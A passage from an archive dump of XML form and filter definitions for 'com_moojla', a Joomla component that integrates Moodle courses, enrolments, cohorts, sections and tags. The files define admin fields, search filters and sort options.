                <field name="published"
                       type="list"
                       label="JSTATUS">
                        <option
value="1">JPUBLISHED</option>
                        <option
value="0">JUNPUBLISHED</option>
                        <option
value="2">JARCHIVED</option>
                        <option
value="-2">JTRASHED</option>
                </field>
                <!-- Date Modified Field. Type: Calendar (joomla)-->
                <field name="modified"
                       type="calendar"
                       class="readonly"
                      
label="COM_MOOJLA_ENROLMENT_MODIFIED_DATE_LABEL"
                      
description="COM_MOOJLA_ENROLMENT_MODIFIED_DATE_DESC"
                       size="22"
                       readonly="true"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Modified Field. Type: User (joomla)-->
                <field name="modified_by"
                       type="user"
                      
label="COM_MOOJLA_ENROLMENT_MODIFIED_BY_LABEL"
                      
description="COM_MOOJLA_ENROLMENT_MODIFIED_BY_DESC"
                       class="readonly"
                       readonly="true"
                       filter="unset" />
                <!-- Ordering Field. Type: Numbers (joomla)-->
                <field name="ordering"
                       type="number"
                       class="inputbox validate-ordering"
                      
label="COM_MOOJLA_ENROLMENT_ORDERING_LABEL"
                       description=""
                       default="0"
                       size="6"
                       required="false" />
                <!-- Version Field. Type: Text (joomla)-->
                <field name="version"
                       type="text"
                       class="readonly"
                       label="COM_MOOJLA_ENROLMENT_VERSION_LABEL"
                      
description="COM_MOOJLA_ENROLMENT_VERSION_DESC"
                       size="6"
                       readonly="true"
                       filter="unset" />
                <!-- Was added due to Permissions JS needing a Title
field-->
                <!-- Let us know at gh-629 should this change-->
                <!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
                <field name="title"
                       type="hidden"
                       default="moojla enrolment" />
                <!-- Dynamic Fields.-->
                <!-- Role Field. Type: List. (joomla)-->
                <field type="list"
                       name="role"
                       label="COM_MOOJLA_ENROLMENT_ROLE_LABEL"
                      
description="COM_MOOJLA_ENROLMENT_ROLE_DESCRIPTION"
                       class="list_class"
                       default="0">
                        <!-- Option Set.-->
                        <option
value="0">COM_MOOJLA_ENROLMENT_SELECT_AN_OPTION</option>
                        <option
value="1">COM_MOOJLA_ENROLMENT_MANAGER</option>
                        <option
value="2">COM_MOOJLA_ENROLMENT_COURSE_CREATOR</option>
                        <option
value="3">COM_MOOJLA_ENROLMENT_TEACHER</option>
                        <option
value="4">COM_MOOJLA_ENROLMENT_NONEDITING_TEACHER</option>
                        <option
value="5">COM_MOOJLA_ENROLMENT_STUDENT</option>
                </field>
                <!-- Moojlacourse Field. Type: Moojlacourse.
(custom)-->
                <field type="moojlacourse"
                       name="moojlacourse"
                      
label="COM_MOOJLA_ENROLMENT_MOOJLACOURSE_LABEL"
                      
description="COM_MOOJLA_ENROLMENT_MOOJLACOURSE_DESCRIPTION"
                      
message="COM_MOOJLA_ENROLMENT_MOOJLACOURSE_MESSAGE"
                       class="list_class"
                       multiple="false"
                       default=""
                       button="false" />
                <!-- Jid Field. Type: Staffusers. (custom)-->
                <field type="staffusers"
                       name="jid"
                       label="COM_MOOJLA_ENROLMENT_JID_LABEL"
                      
description="COM_MOOJLA_ENROLMENT_JID_DESCRIPTION"
                       multiple="false"
                       required="true"
                       default=""
                       hint="COM_MOOJLA_ENROLMENT_JID_HINT" />
                <!-- Enrolldate Field. Type: Calendar. (joomla)-->
                <field type="calendar"
                       name="enrolldate"
                      
label="COM_MOOJLA_ENROLMENT_ENROLLDATE_LABEL"
                       default="NOW"
                      
description="COM_MOOJLA_ENROLMENT_ENROLLDATE_DESCRIPTION"
                       format="%Y-%m-%d %H:%M"
                       showtime="true"
                       todaybutton="true" />
        </fieldset>
	
	<!-- Access Control Fields. -->
	<fieldset name="accesscontrol">
		<!-- Asset Id Field. Type: Hidden (joomla) -->
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<!-- Rules Field. Type: Rules (joomla) -->
		<field
			name="rules"
			type="rules"
			label="Permissions in relation to this enrolment"
			translate_label="false"
			filter="rules"
			validate="rules"
			class="inputbox"
			component="com_moojla"
			section="enrolment"
		/>
	</fieldset>
</form>models/forms/filter_categories_map.xml000064400000003645151165724400014243
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fields name="filter">
		<field
			type="text"
			name="search"
			inputmode="search"
			label="COM_MOOJLA_FILTER_SEARCH"
			description="COM_MOOJLA_FILTER_SEARCH_CATEGORIES_MAP"
			hint="JSEARCH_FILTER"
		/>
		<field
			type="status"
			name="published"
			label="COM_MOOJLA_FILTER_PUBLISHED"
			description="COM_MOOJLA_FILTER_PUBLISHED_CATEGORIES_MAP"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<input type="hidden" name="form_submited"
value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published
ASC">JSTATUS_ASC</option>
			<option value="a.published
DESC">JSTATUS_DESC</option>
			<option value="a.jcatid
ASC">COM_MOOJLA_FILTER_JOOMLA_CATEGORY_ID_ASCENDING</option>
			<option value="a.jcatid
DESC">COM_MOOJLA_FILTER_JOOMLA_CATEGORY_ID_DESCENDING</option>
			<option value="a.mcatid
ASC">COM_MOOJLA_FILTER_MOODLE_CATEGORY_ID_ASCENDING</option>
			<option value="a.mcatid
DESC">COM_MOOJLA_FILTER_MOODLE_CATEGORY_ID_DESCENDING</option>
			<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/filter_cohorts.xml000064400000004001151165724400012725
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fields name="filter">
		<field
			type="text"
			name="search"
			inputmode="search"
			label="COM_MOOJLA_FILTER_SEARCH"
			description="COM_MOOJLA_FILTER_SEARCH_COHORTS"
			hint="JSEARCH_FILTER"
		/>
		<field
			type="status"
			name="published"
			label="COM_MOOJLA_FILTER_PUBLISHED"
			description="COM_MOOJLA_FILTER_PUBLISHED_COHORTS"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			type="mcohort"
			name="mcohort"
			label="COM_MOOJLA_COHORT_MCOHORT_LABEL"
			multiple="false"
			onchange="this.form.submit();"
		/>
		<field
			type="customusergroup"
			name="course_group"
			label="COM_MOOJLA_COHORT_COURSE_GROUP_LABEL"
			multiple="false"
			onchange="this.form.submit();"
		/>
		<input type="hidden" name="form_submited"
value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published
ASC">JSTATUS_ASC</option>
			<option value="a.published
DESC">JSTATUS_DESC</option>
			<option value="g.name
ASC">COM_MOOJLA_FILTER_COHORT_ASCENDING</option>
			<option value="g.name
DESC">COM_MOOJLA_FILTER_COHORT_DESCENDING</option>
			<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/filter_contents.xml000064400000004145151165724400013112
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fields name="filter">
		<field
			type="text"
			name="search"
			inputmode="search"
			label="COM_MOOJLA_FILTER_SEARCH"
			description="COM_MOOJLA_FILTER_SEARCH_CONTENTS"
			hint="JSEARCH_FILTER"
		/>
		<field
			type="status"
			name="published"
			label="COM_MOOJLA_FILTER_PUBLISHED"
			description="COM_MOOJLA_FILTER_PUBLISHED_CONTENTS"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			type="contentsfiltercontentsmoduleid"
			name="contents_module_id"
			label="COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_LABEL"
			multiple="false"
			onchange="this.form.submit();"
		/>
		<field
			type="contentsfiltermimetype"
			name="mimetype"
			label="COM_MOOJLA_CONTENT_MIMETYPE_LABEL"
			multiple="false"
			onchange="this.form.submit();"
		/>
		<input type="hidden" name="form_submited"
value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published
ASC">JSTATUS_ASC</option>
			<option value="a.published
DESC">JSTATUS_DESC</option>
			<option value="a.contents_module_id
ASC">COM_MOOJLA_FILTER_CONTENTS_MODULE_ID_ASCENDING</option>
			<option value="a.contents_module_id
DESC">COM_MOOJLA_FILTER_CONTENTS_MODULE_ID_DESCENDING</option>
			<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/filter_courses.xml000064400000004527151165724400012744
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fields name="filter">
		<field
			type="text"
			name="search"
			inputmode="search"
			label="COM_MOOJLA_FILTER_SEARCH"
			description="COM_MOOJLA_FILTER_SEARCH_COURSES"
			hint="JSEARCH_FILTER"
		/>
		<field
			type="status"
			name="published"
			label="COM_MOOJLA_FILTER_PUBLISHED"
			description="COM_MOOJLA_FILTER_PUBLISHED_COURSES"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			type="category"
			name="category_id"
			label="COM_MOOJLA_COURSE_COURSES_CATEGORIES"
			description="JOPTION_FILTER_CATEGORY_DESC"
			multiple="true"
			class="multipleCategories"
			extension="com_moojla.course"
			onchange="this.form.submit();"
			published="0,1,2"
		/>
		<input type="hidden" name="form_submited"
value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published
ASC">JSTATUS_ASC</option>
			<option value="a.published
DESC">JSTATUS_DESC</option>
			<option value="a.shortname
ASC">COM_MOOJLA_FILTER_SHORTNAME_ASCENDING</option>
			<option value="a.shortname
DESC">COM_MOOJLA_FILTER_SHORTNAME_DESCENDING</option>
			<option value="a.fullname
ASC">COM_MOOJLA_FILTER_FULLNAME_ASCENDING</option>
			<option value="a.fullname
DESC">COM_MOOJLA_FILTER_FULLNAME_DESCENDING</option>
			<option value="category_title
ASC">COM_MOOJLA_FILTER_COURSES_CATEGORIES_ASCENDING</option>
			<option value="category_title
DESC">COM_MOOJLA_FILTER_COURSES_CATEGORIES_DESCENDING</option>
			<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/filter_course_fields_mapper.xml000064400000003432151165724400015445
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fields name="filter">
		<field
			type="text"
			name="search"
			inputmode="search"
			label="COM_MOOJLA_FILTER_SEARCH"
			description="COM_MOOJLA_FILTER_SEARCH_COURSE_FIELDS_MAPPER"
			hint="JSEARCH_FILTER"
		/>
		<field
			type="status"
			name="published"
			label="COM_MOOJLA_FILTER_PUBLISHED"
			description="COM_MOOJLA_FILTER_PUBLISHED_COURSE_FIELDS_MAPPER"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			type="accesslevel"
			name="access"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			multiple="true"
			class="multipleAccessLevels"
			onchange="this.form.submit();"
		/>
		<input type="hidden" name="form_submited"
value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published
ASC">JSTATUS_ASC</option>
			<option value="a.published
DESC">JSTATUS_DESC</option>
			<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/filter_course_group_maps.xml000064400000004360151165724400015010
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fields name="filter">
		<field
			type="text"
			name="search"
			inputmode="search"
			label="COM_MOOJLA_FILTER_SEARCH"
			description="COM_MOOJLA_FILTER_SEARCH_COURSE_GROUP_MAPS"
			hint="JSEARCH_FILTER"
		/>
		<field
			type="status"
			name="published"
			label="COM_MOOJLA_FILTER_PUBLISHED"
			description="COM_MOOJLA_FILTER_PUBLISHED_COURSE_GROUP_MAPS"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			type="coursegroupmapsfilterrole"
			name="role"
			label="COM_MOOJLA_COURSE_GROUP_MAP_ROLE_LABEL"
			class="multipleCoursegroupmapsfilterrole"
			multiple="true"
			onchange="this.form.submit();"
		/>
		<input type="hidden" name="form_submited"
value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published
ASC">JSTATUS_ASC</option>
			<option value="a.published
DESC">JSTATUS_DESC</option>
			<option value="g.fullname
ASC">COM_MOOJLA_FILTER_COURSE_ASCENDING</option>
			<option value="g.fullname
DESC">COM_MOOJLA_FILTER_COURSE_DESCENDING</option>
			<option value="h.title
ASC">COM_MOOJLA_FILTER_COURSE_GROUP_ASCENDING</option>
			<option value="h.title
DESC">COM_MOOJLA_FILTER_COURSE_GROUP_DESCENDING</option>
			<option value="a.role
ASC">COM_MOOJLA_FILTER_ROLE_ASCENDING</option>
			<option value="a.role
DESC">COM_MOOJLA_FILTER_ROLE_DESCENDING</option>
			<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/filter_enrolments.xml000064400000004522151165724400013442
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fields name="filter">
		<field
			type="text"
			name="search"
			inputmode="search"
			label="COM_MOOJLA_FILTER_SEARCH"
			description="COM_MOOJLA_FILTER_SEARCH_ENROLMENTS"
			hint="JSEARCH_FILTER"
		/>
		<field
			type="status"
			name="published"
			label="COM_MOOJLA_FILTER_PUBLISHED"
			description="COM_MOOJLA_FILTER_PUBLISHED_ENROLMENTS"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			type="enrolmentsfilterrole"
			name="role"
			label="COM_MOOJLA_ENROLMENT_ROLE_LABEL"
			multiple="false"
			onchange="this.form.submit();"
		/>
		<input type="hidden" name="form_submited"
value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published
ASC">JSTATUS_ASC</option>
			<option value="a.published
DESC">JSTATUS_DESC</option>
			<option value="a.role
ASC">COM_MOOJLA_FILTER_ROLE_ASCENDING</option>
			<option value="a.role
DESC">COM_MOOJLA_FILTER_ROLE_DESCENDING</option>
			<option value="g.fullname
ASC">COM_MOOJLA_FILTER_COURSE_ASCENDING</option>
			<option value="g.fullname
DESC">COM_MOOJLA_FILTER_COURSE_DESCENDING</option>
			<option value="h.name
ASC">COM_MOOJLA_FILTER_JOOMLA_USER_ASCENDING</option>
			<option value="h.name
DESC">COM_MOOJLA_FILTER_JOOMLA_USER_DESCENDING</option>
			<option value="a.enrolldate
ASC">COM_MOOJLA_FILTER_ENROLL_DATE_ASCENDING</option>
			<option value="a.enrolldate
DESC">COM_MOOJLA_FILTER_ENROLL_DATE_DESCENDING</option>
			<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/filter_modules.xml000064400000004365151165724400012731
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fields name="filter">
		<field
			type="text"
			name="search"
			inputmode="search"
			label="COM_MOOJLA_FILTER_SEARCH"
			description="COM_MOOJLA_FILTER_SEARCH_MODULES"
			hint="JSEARCH_FILTER"
		/>
		<field
			type="status"
			name="published"
			label="COM_MOOJLA_FILTER_PUBLISHED"
			description="COM_MOOJLA_FILTER_PUBLISHED_MODULES"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			type="modulesfiltermodulesectionid"
			name="module_section_id"
			label="COM_MOOJLA_MODULE_MODULE_SECTION_ID_LABEL"
			multiple="false"
			onchange="this.form.submit();"
		/>
		<field
			type="modulesfiltermodname"
			name="modname"
			label="COM_MOOJLA_MODULE_MODNAME_LABEL"
			multiple="false"
			onchange="this.form.submit();"
		/>
		<input type="hidden" name="form_submited"
value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published
ASC">JSTATUS_ASC</option>
			<option value="a.published
DESC">JSTATUS_DESC</option>
			<option value="a.module_section_id
ASC">COM_MOOJLA_FILTER_MODULE_SECTION_ID_ASCENDING</option>
			<option value="a.module_section_id
DESC">COM_MOOJLA_FILTER_MODULE_SECTION_ID_DESCENDING</option>
			<option value="a.name
ASC">COM_MOOJLA_FILTER_MODULE_NAME_ASCENDING</option>
			<option value="a.name
DESC">COM_MOOJLA_FILTER_MODULE_NAME_DESCENDING</option>
			<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/filter_sections.xml000064400000004270151165724400013103
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fields name="filter">
		<field
			type="text"
			name="search"
			inputmode="search"
			label="COM_MOOJLA_FILTER_SEARCH"
			description="COM_MOOJLA_FILTER_SEARCH_SECTIONS"
			hint="JSEARCH_FILTER"
		/>
		<field
			type="status"
			name="published"
			label="COM_MOOJLA_FILTER_PUBLISHED"
			description="COM_MOOJLA_FILTER_PUBLISHED_SECTIONS"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			type="sectionsfiltercourseid"
			name="courseid"
			label="COM_MOOJLA_SECTION_COURSEID_LABEL"
			multiple="false"
			onchange="this.form.submit();"
		/>
		<input type="hidden" name="form_submited"
value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published
ASC">JSTATUS_ASC</option>
			<option value="a.published
DESC">JSTATUS_DESC</option>
			<option value="a.courseid
ASC">COM_MOOJLA_FILTER_COURSEID_ASCENDING</option>
			<option value="a.courseid
DESC">COM_MOOJLA_FILTER_COURSEID_DESCENDING</option>
			<option value="a.section_id
ASC">COM_MOOJLA_FILTER_SECTION_ID_ASCENDING</option>
			<option value="a.section_id
DESC">COM_MOOJLA_FILTER_SECTION_ID_DESCENDING</option>
			<option value="a.name
ASC">COM_MOOJLA_FILTER_NAME_ASCENDING</option>
			<option value="a.name
DESC">COM_MOOJLA_FILTER_NAME_DESCENDING</option>
			<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/filter_tags.xml000064400000004062151165724400012211
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fields name="filter">
		<field
			type="text"
			name="search"
			inputmode="search"
			label="COM_MOOJLA_FILTER_SEARCH"
			description="COM_MOOJLA_FILTER_SEARCH_TAGS"
			hint="JSEARCH_FILTER"
		/>
		<field
			type="status"
			name="published"
			label="COM_MOOJLA_FILTER_PUBLISHED"
			description="COM_MOOJLA_FILTER_PUBLISHED_TAGS"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			type="accesslevel"
			name="access"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			multiple="true"
			class="multipleAccessLevels"
			onchange="this.form.submit();"
		/>
		<input type="hidden" name="form_submited"
value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published
ASC">JSTATUS_ASC</option>
			<option value="a.published
DESC">JSTATUS_DESC</option>
			<option value="a.tagid
ASC">COM_MOOJLA_FILTER_TAG_ID_ASCENDING</option>
			<option value="a.tagid
DESC">COM_MOOJLA_FILTER_TAG_ID_DESCENDING</option>
			<option value="a.tagname
ASC">COM_MOOJLA_FILTER_TAG_NAME_ASCENDING</option>
			<option value="a.tagname
DESC">COM_MOOJLA_FILTER_TAG_NAME_DESCENDING</option>
			<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/filter_tag_instances.xml000064400000004623151165724400014100
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fields name="filter">
		<field
			type="text"
			name="search"
			inputmode="search"
			label="COM_MOOJLA_FILTER_SEARCH"
			description="COM_MOOJLA_FILTER_SEARCH_TAG_INSTANCES"
			hint="JSEARCH_FILTER"
		/>
		<field
			type="status"
			name="published"
			label="COM_MOOJLA_FILTER_PUBLISHED"
			description="COM_MOOJLA_FILTER_PUBLISHED_TAG_INSTANCES"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			type="accesslevel"
			name="access"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			multiple="true"
			class="multipleAccessLevels"
			onchange="this.form.submit();"
		/>
		<field
			type="moojlacourse"
			name="moojlacourse"
			label="COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_LABEL"
			multiple="false"
			onchange="this.form.submit();"
		/>
		<field
			type="moodletag"
			name="moodletag"
			label="COM_MOOJLA_TAG_INSTANCE_MOODLETAG_LABEL"
			multiple="false"
			onchange="this.form.submit();"
		/>
		<input type="hidden" name="form_submited"
value="1"/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published
ASC">JSTATUS_ASC</option>
			<option value="a.published
DESC">JSTATUS_DESC</option>
			<option value="g.fullname
ASC">COM_MOOJLA_FILTER_COURSE_ASCENDING</option>
			<option value="g.fullname
DESC">COM_MOOJLA_FILTER_COURSE_DESCENDING</option>
			<option value="h.tagname
ASC">COM_MOOJLA_FILTER_MOODLETAG_ASCENDING</option>
			<option value="h.tagname
DESC">COM_MOOJLA_FILTER_MOODLETAG_DESCENDING</option>
			<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/filter_user_fields_map.xml000064400000004316151165724400014416
